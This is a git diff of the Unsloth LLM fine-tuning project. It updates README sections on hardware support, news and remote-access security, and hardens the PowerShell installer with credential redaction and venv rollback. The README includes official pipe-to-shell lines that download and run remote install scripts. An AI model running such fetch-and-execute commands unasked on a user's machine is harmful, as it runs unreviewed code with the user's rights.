@@ -65,7 +102,8 @@ Unsloth Studio (Beta) works on **Windows, Linux, WSL** and **macOS**.
 * **CPU:** Supported for Chat and Data Recipes currently
 * **NVIDIA:** Training works on RTX 30/40/50, Blackwell, DGX Spark, Station and more
 * **macOS:** Training, MLX and GGUF inference are ALL supported.
-* **AMD:** Chat + Data works. Train with [Unsloth Core](#unsloth-core-code-based). Studio support is out soon.
+* **AMD:** Training, RL, chat and deployment work on Windows, WSL and Linux. [Read the AMD guide](https://unsloth.ai/docs/basics/amd).
+* **Vulkan:** GGUF inference is supported on [compatible GPUs, including Intel GPUs](https://github.com/unslothai/unsloth/pull/5819).
 * **Multi-GPU:** Available now, with a major upgrade on the way
 
 #### macOS, Linux, WSL:
@@ -84,9 +122,9 @@ Use the same command to update.
 ```bash
 unsloth studio -p 8888
 ```
-For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
+For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally.
 
-To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
+To reach Unsloth over HTTPS, use `unsloth studio --secure`. Unsloth stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Unsloth reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
 
 #### Docker
 Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
@@ -122,7 +160,7 @@ You can use the same Docker image as Unsloth Studio.
 
 #### AMD, Intel:
 For RTX 50x, B200, 6000 GPUs: `uv pip install unsloth --torch-backend=auto`. Read our guides for: [Blackwell](https://unsloth.ai/docs/blog/fine-tuning-llms-with-blackwell-rtx-50-series-and-unsloth) and [DGX Spark](https://unsloth.ai/docs/blog/fine-tuning-llms-with-nvidia-dgx-spark-and-unsloth). <br>
-To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/get-started/install/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
+To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/basics/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
 
 ## 📒 Free Notebooks
 
@@ -148,13 +186,20 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad
 - See detailed documentation for Unsloth [here](https://unsloth.ai/docs)
 
 ## 🦥 Unsloth News
-- **Connections**: Connect any API provider (OpenAI, Anthropic) or server (vLLM, Ollama). [Guide](https://unsloth.ai/docs/integrations/connections)
-- **MTP**: Run Qwen3.6 MTP in Unsloth. MTP settings are autoset specific to your hardware. [Guide](https://unsloth.ai/docs/models/qwen3.6#mtp-guide)
-- **API inference endpoint**: Deploy and run local LLMs in Claude Code, Codex tools. [Guide](https://unsloth.ai/docs/basics/api)
-- **Qwen3.6**: Qwen3.6-35B-A3B can now be trained and run in Unsloth Studio. [Blog](https://unsloth.ai/docs/models/qwen3.6)
-- **Gemma 4**: Run and train Google’s new models directly in Unsloth. [Blog](https://unsloth.ai/docs/models/gemma-4)
+- **AMD training**: Train, run RL, chat and deploy on AMD GPUs across Windows, WSL and Linux. [Guide](https://unsloth.ai/docs/basics/amd)
+- **GGUF hardware controls**: Choose GPU/layer placement, offload MoE experts and use multi-GPU or Tensor Parallelism. [#6414](https://github.com/unslothai/unsloth/pull/6414)
+- **Local models for any agent**: Use `unsloth start` with Claude Code, Codex, Hermes, OpenCode, OpenClaw, Pi and more through Unsloth's OpenAI- and Anthropic-compatible APIs. [Guide](https://unsloth.ai/docs/basics/api)
+- **MCP control endpoint**: Let compatible clients manage models, training, recipes, checkpoints and exports. [#7191](https://github.com/unslothai/unsloth/pull/7191)
+- **Local inference reliability**: Resume long chats faster, recover stalled downloads and reuse existing GGUF files. [#7204](https://github.com/unslothai/unsloth/pull/7204) • [#6858](https://github.com/unslothai/unsloth/pull/6858) • [#7209](https://github.com/unslothai/unsloth/pull/7209)
+- **New models**: [Qwen-AgentWorld](https://huggingface.co/unsloth/Qwen-AgentWorld-35B-A3B-GGUF), [Ornith](https://huggingface.co/unsloth/models?search=ornith), [Kimi K2.7 Code](https://unsloth.ai/docs/models/kimi-k2.7-code) and [MiniMax M3](https://unsloth.ai/docs/models/minimax-m3)
+- **GLM-5.2**: Run Z.ai's 744B-parameter, 1M-context open model locally with Unsloth Dynamic GGUFs. [Guide](https://unsloth.ai/docs/models/glm-5.2)
+- **DeepSeek-V4**: Run DeepSeek-V4-Flash locally with corrected multi-turn and tool-calling behavior. [Guide](https://unsloth.ai/docs/models/deepseek-v4)
+- **DiffusionGemma**: Run and fine-tune Google's diffusion language model with 1.8x faster inference in Unsloth Studio. [Guide](https://unsloth.ai/docs/models/diffusiongemma)
+- **Qwen3.6**: Run and train Qwen3.6 with MTP for 1.4-2.2x faster inference and NVFP4 quants for supported GPUs. [Guide](https://unsloth.ai/docs/models/qwen3.6)
+- **Gemma 4**: Run and train Gemma 4 text, image and audio models with QAT, MTP, GGUF and MLX support. [Guide](https://unsloth.ai/docs/models/gemma-4)
+- **MCP servers**: Connect local models to files, apps, databases and external tools through Model Context Protocol. [Guide](https://unsloth.ai/docs/basics/mcp)
+- **Connections**: Mix local models with API providers (OpenAI, Anthropic) or servers (vLLM, Ollama) in the same interface. [Guide](https://unsloth.ai/docs/integrations/connections)
 - **Introducing Unsloth Studio**: our new web UI for running and training LLMs. [Blog](https://unsloth.ai/docs/new/studio)
-- **Qwen3.5** - 0.8B, 2B, 4B, 9B, 27B, 35-A3B, 112B-A10B are now supported. [Guide + notebooks](https://unsloth.ai/docs/models/qwen3.5/fine-tune)
 - Train **MoE LLMs 12x faster** with 35% less VRAM - DeepSeek, GLM, Qwen and gpt-oss. [Blog](https://unsloth.ai/docs/new/faster-moe)
 - **Embedding models**: Unsloth now supports ~1.8-3.3x faster embedding fine-tuning. [Blog](https://unsloth.ai/docs/new/embedding-finetuning) • [Notebooks](https://unsloth.ai/docs/get-started/unsloth-notebooks#embedding-models)
 - New **7x longer context RL** vs. all other setups, via our new batching algorithms. [Blog](https://unsloth.ai/docs/new/grpo-long-context)
@@ -208,16 +253,29 @@ unsloth studio -p 8888
 #### Remote access: `--secure` (HTTPS tunnel) vs raw port
 By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach it from another device, pick one of:
 
-- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Studio stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
+- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Unsloth stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
 ```bash
 unsloth studio --secure -p 8888
 ```
-- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
+- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust.
 ```bash
 unsloth studio -H 0.0.0.0 -p 8888
 ```
+The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind.
 
-Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Studio.
+The first time Unsloth is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Unsloth shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI.
+
+For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`):
+
+```bash
+unsloth studio --secure --password 'your-strong-password'        # visible in `ps`/history
+UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure   # via env var
+printf '%s\n' 'your-strong-password' | unsloth studio --secure --password -   # via stdin
+```
+
+A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process.
+
+Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Unsloth.
 
 #### Advanced launch options
 Installer options can be passed as environment variables. On macOS, Linux and WSL place the variable after the pipe so the shell passes it to `sh`; on Windows set it with `$env:` before piping to `iex`.
@@ -230,6 +288,14 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh
 $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex
 ```
 
+Skip the post-install prompt that starts Unsloth (useful for automated installs):
+```bash
+curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh
+```
+```powershell
+$env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex
+```
+
 Pin the Python version:
 ```bash
 curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh
@@ -258,9 +324,9 @@ UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh -
 ```powershell
 $env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
 ```
-It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
+It is threaded as `--registry` into the Unsloth frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
 
-Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
+Cap Unsloth's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
 
 #### Uninstall
 The recommended way to fully remove Unsloth Studio is the matching uninstall script for your OS. It stops any running servers, removes the install dir, the launcher data dir, the desktop shortcut, and any platform-specific entries (macOS `.app` bundle + Launch Services on Mac; Start Menu, `HKCU\Software\Unsloth` registry key and user `PATH` entries on Windows):
diff --git a/build.sh b/build.sh
index dc272f0de1..2a836e19d9 100644
--- a/build.sh
+++ b/build.sh
@@ -4,9 +4,9 @@
 
 set -euo pipefail
 
-# PyPI/Studio release publishing must use `./build.sh publish` (or an
-# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Studio
-# artifacts include the display-only Studio release version.
+# PyPI/Unsloth release publishing must use `./build.sh publish` (or an
+# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Unsloth
+# artifacts include the display-only Unsloth release version.
 
 # 1. Build frontend (Vite outputs to dist/)
 cd studio/frontend
@@ -87,7 +87,7 @@ cd ../..
 # 2. Clean old artifacts
 rm -rf build dist *.egg-info
 
-# 3. Stamp display-only Studio release metadata for packaged builds.
+# 3. Stamp display-only Unsloth release metadata for packaged builds.
 _STUDIO_BUILD_INFO="studio/backend/utils/_studio_release_build.py"
 _STUDIO_BUILD_INFO_BACKUP="$(mktemp)"
 cp "$_STUDIO_BUILD_INFO" "$_STUDIO_BUILD_INFO_BACKUP"
diff --git a/install.ps1 b/install.ps1
index 8c667df079..9c91d4ba16 100644
--- a/install.ps1
+++ b/install.ps1
@@ -6,6 +6,7 @@
 # irm | iex cannot forward arguments, so web installs take options as env vars set
 # before the pipe (flags still work via .\install.ps1):
 #   $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex       # skip PyTorch (GGUF-only)
+#   $env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex # do not prompt to launch
 #   $env:UNSLOTH_PYTHON='3.12'; irm https://unsloth.ai/install.ps1 | iex    # pin Python version
 #   $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
 #   .\install.ps1 --no-torch                                                # equivalent flag
@@ -52,7 +53,8 @@ function Install-UnslothStudio {
         param([string]$TorchIndexUrl)
         if ($SkipTorch) { return "none" }
         if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return "none" }
-        $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
+        # Drop query/fragment first so a token-authenticated pin classifies by family.
+        $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant()
         if (@("cpu", "cu118", "cu124", "cu126", "cu128", "cu130") -contains $leaf) { return $leaf }
         if ($leaf -match '^rocm[0-9]+\.[0-9]+$') { return $leaf }
         return "auto"
@@ -61,7 +63,8 @@ function Install-UnslothStudio {
     function Get-TauriGpuBranch {
         param([string]$TorchIndexFamily)
         if ($SkipTorch) { return "no_torch" }
-        if ($TorchIndexFamily -like "cu*") { return "cuda" }
+        # Require a digit after "cu" so /current or /custom isn't branded CUDA (parity ^cu[0-9]).
+        if ($TorchIndexFamily -match '^cu[0-9]') { return "cuda" }
         if ($TorchIndexFamily -like "rocm*") { return "rocm" }
         if ($TorchIndexFamily -eq "cpu") { return "cpu" }
         return "unknown"
@@ -90,6 +93,7 @@ function Install-UnslothStudio {
         if ($TauriMode) {
             exit $Code
         }
+        throw $Message
     }
 
     # ── Parse flags ──
@@ -98,6 +102,7 @@ function Install-UnslothStudio {
     $RepoRoot = ""
     $TauriMode = $false
     $SkipTorch = $false
+    $SkipAutostart = $false
     $ShortcutsOnly = $false
     $WithLlamaCppDir = ""
     $argList = $args
@@ -130,6 +135,7 @@ function Install-UnslothStudio {
 
     # Env-var equivalent for web installs; an explicit flag still wins.
     if ($env:UNSLOTH_NO_TORCH -in @('1', 'true', 'yes', 'on')) { $SkipTorch = $true }
+    if ($env:UNSLOTH_SKIP_AUTOSTART -in @('1', 'true', 'yes', 'on')) { $SkipAutostart = $true }
 
     # Propagate to child processes so they also respect verbose mode.
     # Process-scoped -- does not persist.
@@ -172,7 +178,7 @@ function Install-UnslothStudio {
         $envOverride = $env:STUDIO_HOME.Trim()
     }
 
-    # Custom Studio roots are not supported with --tauri (desktop app still
+    # Custom Unsloth roots are not supported with --tauri (desktop app still
     # resolves %USERPROFILE%\.unsloth\studio). Pass through if override == legacy.
     if ($TauriMode -and $envOverride) {
         $_tauriOverride = $envOverride
@@ -463,12 +469,36 @@ function Install-UnslothStudio {
         }
     }
 
+    # Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer
+    # output before printing on failure; uv/pip errors echo the failing --index-url verbatim.
+    # Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted.
+    function Redact-InstallOutput {
+        param([string]$Text)
+        if (-not $Text) { return $Text }
+        $Text = $Text -replace '(https?://)[^/@\s`]+@', '$1<redacted>@'
+        $Text = $Text -replace '([?&][^=\s&`]+)=[^&#\s`]+', '$1=<redacted>'
+        # A #token=... fragment is as sensitive as a query; URL-anchored.
+        return $Text -replace '(https?://[^\s`#]+)#[^\s`]+', '$1#<redacted>'
+    }
+
     # Run native commands quietly by default to match install.sh behavior.
     # Full command output is shown only when --verbose / UNSLOTH_VERBOSE=1.
     function Invoke-InstallCommand {
         param(
             [Parameter(Mandatory = $true)][ScriptBlock]$Command
         )
+        # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898):
+        # for --default-index, clear the uv index env vars (restore in finally) and set
+        # UV_NO_CONFIG=1 so a uv.toml/pyproject index can't outrank the CLI pin (uv 0.10).
+        $savedUvIndex = $null
+        if ($Command.ToString() -match '--default-index') {
+            $savedUvIndex = @{}
+            foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL', 'UV_TORCH_BACKEND', 'UV_FIND_LINKS', 'UV_CONFIG_FILE', 'UV_NO_CONFIG') {
+                $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n)
+                Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+            }
+            $env:UV_NO_CONFIG = '1'
+        }
         $prevEap = $ErrorActionPreference
         $ErrorActionPreference = "Continue"
         try {
@@ -478,16 +508,23 @@ function Install-UnslothStudio {
                 # Merge stderr into stdout so progress/warning output stays visible
                 # without flipping $? on successful native commands (PS 5.1 treats
                 # stderr records as errors that set $? = $false even on exit code 0).
-                & $Command 2>&1 | Out-Host
+                # Redact per record: uv echoes index URLs (credentials and all) in
+                # its errors, and verbose mode must not bypass the quiet path's
+                # redaction. ForEach-Object/Out-Host leave $LASTEXITCODE untouched.
+                & $Command 2>&1 | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
             } else {
                 $output = & $Command 2>&1 | Out-String
                 if ($LASTEXITCODE -ne 0) {
-                    Write-Host $output -ForegroundColor Red
+                    Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
                 }
             }
             return [int]$LASTEXITCODE
         } finally {
             $ErrorActionPreference = $prevEap
+            if ($savedUvIndex) {
+                Remove-Item "Env:UV_NO_CONFIG" -ErrorAction SilentlyContinue
+                foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } }
+            }
         }
     }
 
@@ -740,7 +777,7 @@ function Find-FreeLaunchPort {
     return `$null
 }
 
-# If Studio is already healthy on any expected port, just open it and exit.
+# If Unsloth is already healthy on any expected port, just open it and exit.
 `$existingPort = Find-HealthyStudioPort
 if (`$existingPort) {
     Start-Process "http://localhost:`$existingPort"
@@ -756,7 +793,7 @@ try {
         `$haveMutex = `$true
     }
     if (-not `$haveMutex) {
-        # Another launcher is already running; wait for it to bring Studio up
+        # Another launcher is already running; wait for it to bring Unsloth up
         `$deadline = (Get-Date).AddSeconds(`$timeoutSec)
         while ((Get-Date) -lt `$deadline) {
             `$port = Find-HealthyStudioPort
@@ -1379,13 +1416,82 @@ exit 0
             $suffix++
             $candidate = Join-Path $StudioHome "unsloth_studio.rollback.$stamp.$PID.$suffix"
         }
-        Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop
         $script:StudioVenvRollbackDir = $candidate
         $script:StudioVenvRollbackTarget = $ExistingDir
         $script:StudioVenvRollbackActive = $true
+        # Publish the rollback state before the atomic rename so interruption
+        # cannot land after Move-Item but before cleanup knows where the old venv went.
+        try {
+            Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop
+        } catch {
+            # A collision or ordinary rename failure leaves the original in place.
+            # Keep state active only when the rename happened before interruption.
+            if (Test-Path -LiteralPath $ExistingDir) {
+                $script:StudioVenvRollbackActive = $false
+                $script:StudioVenvRollbackDir = $null
+            }
+            throw
+        }
         substep "previous environment preserved for rollback"
     }
 
+    function Remove-StudioVenvTreeWithRetry {
+        param(
+            [Parameter(Mandatory = $true)][string]$Path,
+            [Parameter(Mandatory = $true)][string]$Label
+        )
+        $lastError = $null
+        for ($attempt = 1; $attempt -le 3; $attempt++) {
+            try {
+                Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop
+            } catch {
+                $lastError = $_.Exception.Message
+            }
+            if (-not (Test-Path -LiteralPath $Path)) { return $true }
+            if ($attempt -lt 3) { Start-Sleep -Milliseconds (250 * $attempt) }
+        }
+        Write-Host "[WARN] Could not remove $Label at $Path" -ForegroundColor Yellow
+        if ($lastError) { Write-Host "       $lastError" -ForegroundColor Yellow }
+        return $false
+    }
+
+    function Test-StudioVenvRollbackMustBePreserved {
+        param([Parameter(Mandatory = $true)][System.IO.FileSystemInfo]$Rollback)
+        # Preserve anything outside the installer's timestamp.PID[.suffix] format.
+        if ($Rollback.Name -notmatch '^unsloth_studio\.rollback\.[0-9]{14}\.([0-9]+)(?:\.[0-9]+)?$') {
+            return $true
+        }
+        $ownerPid = 0
+        if (-not [int]::TryParse($Matches[1], [ref]$ownerPid)) { return $true }
+        if ($ownerPid -eq $PID) { return $true }
+        return $null -ne (Get-Process -Id $ownerPid -ErrorAction SilentlyContinue)
+    }
+
+    function Remove-StaleStudioVenvRollbacks {
+        try {
+            $rollbacks = @(
+                Get-ChildItem -LiteralPath $StudioHome -Directory -Force -ErrorAction Stop |
+                    Where-Object { $_.Name -like 'unsloth_studio.rollback.*' }
+            )
+        } catch {
+            Write-Host "[WARN] Could not inspect stale environment rollbacks in $StudioHome" -ForegroundColor Yellow
+            Write-Host "       $($_.Exception.Message)" -ForegroundColor Yellow
+            return
+        }
+        foreach ($rollback in $rollbacks) {
+            if (($rollback.Attributes -band [System.IO.FileAttributes]::ReparsePoint) -ne 0) {
+                Write-Host "[WARN] Refusing to remove rollback reparse point $($rollback.FullName)" -ForegroundColor Yellow
+                continue
+            }
+            # A concurrent installer may have moved its live venv aside. The PID
+            # in the generated name keeps this run from deleting its rescue copy.
+            if (Test-StudioVenvRollbackMustBePreserved -Rollback $rollback) { continue }
+            if (Remove-StudioVenvTreeWithRetry -Path $rollback.FullName -Label "stale environment rollback") {
+                substep "removed stale environment rollback $($rollback.Name)"
+            }
+        }
+    }
+
     function Restore-StudioVenvRollback {
         if (-not $script:StudioVenvRollbackActive) { return }
         $backup = $script:StudioVenvRollbackDir
@@ -1397,7 +1503,9 @@ exit 0
         substep "restoring previous environment after failed install..." "Yellow"
         try {
             if (Test-Path -LiteralPath $target) {
-                Remove-Item -LiteralPath $target -Recurse -Force -ErrorAction SilentlyContinue
+                if (-not (Remove-StudioVenvTreeWithRetry -Path $target -Label "incomplete environment")) {
+                    throw "Could not remove incomplete environment at $target"
+                }
             }
             Move-Item -LiteralPath $backup -Destination $target -Force -ErrorAction Stop
             substep "restored previous environment"
@@ -1412,17 +1520,21 @@ exit 0
     function Complete-StudioVenvRollback {
         if (-not $script:StudioVenvRollbackActive) { return }
         $backup = $script:StudioVenvRollbackDir
-        if ($backup -and (Test-Path -LiteralPath $backup)) {
-            Remove-Item -LiteralPath $backup -Recurse -Force -ErrorAction SilentlyContinue
-        }
+        # The replacement is committed. Disable restoration before deleting the
+        # backup so interruption cannot restore a partially deleted environment.
         $script:StudioVenvRollbackActive = $false
         $script:StudioVenvRollbackDir = $null
+        if ($backup -and (Test-Path -LiteralPath $backup)) {
+            Remove-StudioVenvTreeWithRetry -Path $backup -Label "environment rollback" | Out-Null
+        }
     }
 
+    $studioVenvReplacementCommitted = $false
+    try {
     if (Test-Path -LiteralPath $VenvPython) {
         # why: matching guard to the .venv branch below -- in env-mode
         # $StudioHome is a user-chosen workspace, so refuse to nuke an
-        # existing $StudioHome\unsloth_studio that lacks Studio sentinels.
+        # existing $StudioHome\unsloth_studio that lacks Unsloth sentinels.
         # -PathType Leaf rejects a directory at the sentinel path. Accept the
         # in-VENV ownership marker so partial-install retries are not blocked.
         if (
@@ -1433,7 +1545,7 @@ exit 0
         ) {
             Write-Host "[ERROR] $VenvDir already exists but does not look like an Unsloth Studio install." -ForegroundColor Red
             Write-Host "        Move it aside or choose an empty UNSLOTH_STUDIO_HOME." -ForegroundColor Yellow
-            throw "Refusing to delete non-Studio venv at $VenvDir"
+            throw "Refusing to delete non-Unsloth venv at $VenvDir"
         }
         # New layout already exists -- replace only after preserving rollback copy.
         substep "preserving existing environment for rollback..."
@@ -1452,7 +1564,7 @@ exit 0
         # workspace root (e.g. user's existing project Python venv).
         $OldVenv = Join-Path $StudioHome ".venv"
         $OldPy = Join-Path $OldVenv "Scripts\python.exe"
-        substep "found legacy Studio environment, validating..."
+        substep "found legacy Unsloth environment, validating..."
         $prevEAP2 = $ErrorActionPreference
         $ErrorActionPreference = "Continue"
         try {
@@ -1482,7 +1594,7 @@ exit 0
         # Skip in env-mode so we don't relocate the default-install venv into
         # the workspace root.
         $CwdVenv = Join-Path $env:USERPROFILE "unsloth_studio"
-        substep "found CWD-relative Studio environment, migrating to $VenvDir..."
+        substep "found CWD-relative Unsloth environment, migrating to $VenvDir..."
         Move-Item -LiteralPath $CwdVenv -Destination $VenvDir -Force
         substep "moved ~/unsloth_studio -> ~/.unsloth/studio/unsloth_studio"
         $_Migrated = $true
@@ -1501,7 +1613,7 @@ exit 0
         substep "$VenvDir"
     }
 
-    # Mark the freshly-created venv as Studio-owned so a partial install can be
+    # Mark the freshly-created venv as Unsloth-owned so a partial install can be
     # repaired by re-running install.ps1; the env-mode deletion guard above
     # accepts this marker as the primary sentinel.
     if (Test-Path -LiteralPath $VenvDir -PathType Container) {
@@ -1510,7 +1622,7 @@ exit 0
 
     # ── Helper: run amd-smi without triggering a UAC elevation prompt ──
     # amd-smi on Windows auto-elevates to read GPU/APU memory, surfacing a confusing
-    # DiskPart UAC prompt mid-install (Studio backend amd.py hits the same).
+    # DiskPart UAC prompt mid-install (Unsloth backend amd.py hits the same).
     # __COMPAT_LAYER=RunAsInvoker forces it (and helpers it spawns) to run
     # un-elevated; on failure the WMI name -> gfx fallback still resolves the arch.
     function Invoke-AmdSmiNoElevate {
@@ -1637,7 +1749,7 @@ exit 0
         function Test-HipinfoIsVenvInternal {
             param([AllowNull()][string]$HipinfoPath)
             if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
-            # Also derive the venv from the setup python + default Studio home, so
+            # Also derive the venv from the setup python + default Unsloth home, so
             # the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset.
             $venvRoots = @()
             if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
@@ -1647,7 +1759,7 @@ exit 0
                 try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
             }
             if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
-            # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
+            # A custom Unsloth home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
             # venv off the default path; seed it too or its hipInfo escapes the filter.
             $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
             if ($studioHomeEnv) {
@@ -1807,7 +1919,7 @@ exit 0
                 $nameArchTable = @(
                     @{ P = "9070 XT|9080";                                        A = "gfx1201" }  # RDNA 4 (RX 9070 XT / 9080)
                     @{ P = "9070|9060";                                           A = "gfx1200" }  # RDNA 4 (RX 9070 / 9060)
-                    @{ P = "8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" }  # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
+                    @{ P = "8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" }  # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
                     @{ P = "890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1150" }  # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
                     @{ P = "RX 7900|RX 7800|RX 7700(?!S)|PRO W7900|PRO W7800|PRO W7700"; A = "gfx1100" }  # RDNA 3 desktop/workstation (Navi 31)
                     @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500|PRO V710"; A = "gfx1102" }  # RDNA 3 (Navi 33)
@@ -1926,7 +2038,7 @@ exit 0
         substep "       Ensure the ROCm compute driver is installed alongside the display driver:" "Yellow"
         substep "       https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow"
     } elseif ($ROCmGfxArch) {
-        # Known arch: Studio setup installs AMD's bundled-runtime ROCm PyTorch wheels
+        # Known arch: Unsloth setup installs AMD's bundled-runtime ROCm PyTorch wheels
         # (repo.amd.com), which ship their own runtime -- HIP SDK optional.
         step "gpu" "AMD ROCm ($ROCmGfxArch)" "Cyan"
         substep "Detected: $ROCmGpuLabel" "Cyan"
@@ -1944,10 +2056,31 @@ exit 0
     # On an AMD GPU (no NVIDIA), surface the optional WSL-ROCm driver hint.
     if (-not $HasNvidiaSmi -and ($ROCmGfxArch -or $ROCmGpuLabel)) { Show-AmdWslDriverHint }
 
+    # Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL
+    # TrimEnd corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared.
+    function Trim-IndexPathSlashes {
+        param([string]$Url)
+        $value = $Url.Trim()
+        $idx = $value.IndexOfAny([char[]]@('?', '#'))
+        if ($idx -lt 0) {
+            return $value.TrimEnd('/')
+        }
+        return $value.Substring(0, $idx).TrimEnd('/') + $value.Substring($idx)
+    }
+
     # ── Choose the correct PyTorch index URL based on driver CUDA version ──
     # Mirrors Get-PytorchCudaTag in setup.ps1.
